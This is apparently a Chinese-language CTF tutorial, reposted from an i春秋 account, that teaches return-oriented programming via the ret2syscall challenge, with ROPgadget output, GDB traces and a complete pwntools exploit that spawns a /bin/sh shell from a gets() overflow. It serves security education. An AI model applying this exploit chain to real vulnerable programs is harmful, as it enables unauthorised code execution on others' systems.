PWN入门之ROP构造

admin 2023年11月24日15:19:32评论11 views字数 4399阅读14分39秒阅读模式
本文是i春秋论坛签约作家「Binary star」分享的技术文章,公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。
PWN入门之ROP构造

Binary star


大家好,我是Binary star,目前从事于公安行业,擅长Web、二进制和电子取证方向。能把网络安全技能运用在工作中,与我的职业结合起来做有意义的事,是非常自豪的,我希望通过自身努力成为一名优秀的二进制研究员,实现自我价值

PWN入门之ROP构造


上一篇文章PWN入门之Stack Overflow,用一个C语言程序演示了栈溢出的过程,然而在程序中恰好有system("/bin/sh")这个函数的情况很少,更多的是需要我们自己利用程序中本身存在的小碎片去构造,因此才会有ROP(Return-oriented Programming)返回导向编程。
在本篇文章中,我会通过一道经典例题来入门ROP,并通过ret指令,使IP寄存器指向目标返回的地址,来达到控制程序流的目的。

一道经典的例题ret2syscall
系统调用
因为权限的原因,计算机分为用户态和内核态,系统调用就是操作系统为用户态运行的进程和硬件设备之间提供交互的接口,一个系统调用号对应一个函数。
在linux系统中,eax寄存器是负责传递系统调用号的。
linux系统最多允许传递六个参数,分别为eax,ebx,ecx,edx,esi,edi,ebp。
对于本题需要用到的内容:
一个系统调用:execve()
几个寄存器:eax,ebx,ecx,edx,esi,edi,ebp
int execve(const char *filename, char *const argv[], char *const envp[]);
也就是构造成execve("/bin/sh")
execve第一个参数为"/bin/sh"
      第二个和第三个参数为NULL
32位系统调用号部分
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H 1

#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
linux系统中,用户态和内核态运行的进程使用的栈是不同的,分别叫做用户栈和内核栈,栈中的内容和寄存器等互相不受干扰。
中断的过程:
1.用户栈切换到内核栈时,需要保存esp和寄存器的值,并将esp设置成内核栈的相应值,这是因为计算机会认为bp和sp之间的是栈空间。
2.内核态切换到用户态时,恢复用户栈的esp和相关寄存器的值。

题目分析

PWN入门之ROP构造

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}
这道题是很经典的,也是入门ROP一道很好的例题,以此来讲解黑客是如何通过控制栈帧来实现攻击内存的。IDA打开分析,发现了gets函数,这个函数是危险函数,意味着能够无限溢出,也就是栈溢出的一个敏感函数。
仔细查看IDA中的内容,发现只有一个栈溢出的点,并没有后门函数和system函数等,这就需要我们自己去构造。
ROPgadget
利用ropgadget工具进行寻找小碎片,在本题中我们需要找eax,ebx,/bin/sh,int 0x80。

PWN入门之ROP构造

isidro@isidro:~/桌面$ ROPgadget --binary rop  --only "pop|ret" |  grep "eax"
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

PWN入门之ROP构造

isidro@isidro:~/桌面$ ROPgadget --binary rop  --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh
isidro@isidro:~/桌面$
isidro@isidro:~/桌面$ ROPgadget --binary rop  --only "int"
Gadgets information
============================================================
0x0806bbfd : int 0x66
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x08089488 : int 0xca
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
0x080c1871 : int 6

Unique gadgets found: 7
整理如下:
0x080bb196 : pop eax ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x080be408 : /bin/sh
0x08049421 : int 0x80
GDB分析rop原理

PWN入门之ROP构造

; NASM
int execve(const char *filename, char *const argv[], char *const envp[]);
mov eax, 0xb                ; execve系统调用号为11
mov ebx, filename   
mov ecx, argv
mov edx, envp
int 0x80                    ; 触发系统调用
利用ROPgadget获取到的小碎片,来构造中断,构造如下:

PWN入门之ROP构造

构造的精髓在于:通过控制栈里的内容,来给寄存器赋值,达到劫持程序流的目的。
在本题中,我们构造的思路如下,首先用垃圾数据溢出到栈返回地址的地址,计算出来是112个字符,接着把pop eax,ret 的地址放到栈里面,也就是0x080bb196这个地址,紧接着是0xb,pop edx,pop ecx,pop eax,ret的地址,数据依次是0,0,/bin/sh,最后是int 0x80中断。
GDB调试如下:
isidro@isidro:~/桌面$ ./rop
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
isidro@isidro:~/桌面$ ./rop
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
^Z
[5]+  已停止               ./rop
isidro@isidro:~/桌面$ ./rop
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
段错误 (核心已转储)
isidro@isidro:~/桌面$

PWN入门之ROP构造

PWN入门之ROP构造

这是我们构造的栈空间

PWN入门之ROP构造

在GDB页面中,可以看到pop eax这条指令,把栈里的数据给eax,也就是0xb。

PWN入门之ROP构造

执行完pop eax之后,eax的值已经是0xb了,0xb也就是execute这个函数,这是构造中断的第一步,下一步是ret到(pop edx,pop ecx,pop ebx,ret)的地址,依次执行代码。

PWN入门之ROP构造

至此已经构造好了eax,ebx,ecx,edx这四个寄存器,也就是execute的参数,下一步是进行中断 int 0x80。

PWN入门之ROP构造

execute("/bin/sh")

PWN入门之ROP构造

EXP

from pwn import *

import pwnlib
context(os = 'linux',arch='amd64',log_level='debug')

io = process("./rop")
io.recvline()
io.recvline()
#payload = ("A" * 112)+ p32(0x080bb196)
payload = ("A" * 112).encode() + p32(0x080bb196) + p32(0xb) + p32(0x0806eb90) + p32(0x0) + p32(0x0) + p32(0x080be408) + p32(0x08049421)
pwnlib.gdb.attach(io)
io.sendline(payload)
io.interactive()        

PWN入门之ROP构造

作者寄语

ROP的思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
本篇文章为ROP的入门篇,也是最基础的内容,后面会循序渐进更新ROP的其他章节,对PWN感兴趣的小伙伴及时关注后续公众号推文,学习过程中难免会遇到疑问,推荐加入i春秋的学习交流群~
PWN入门之ROP构造
PWN入门之ROP构造

(联系管理员,申请入群)

在这里,您不仅能学习到前沿的技术知识,还能结识一群志同道合、热爱技术分享的学习伙伴。群管理员不定期举办各种形式的福利活动,邀请行业大咖和知识达人分享他们的宝贵经验,您还能获得丰富的人脉资源和学习资料。我们期待您的加入,一起成长、共同进步!

PWN入门之ROP构造

原文始发于微信公众号(i春秋):PWN入门之ROP构造

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月24日15:19:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PWN入门之ROP构造https://cn-sec.com/archives/2235921.html

发表评论

匿名网友 填写信息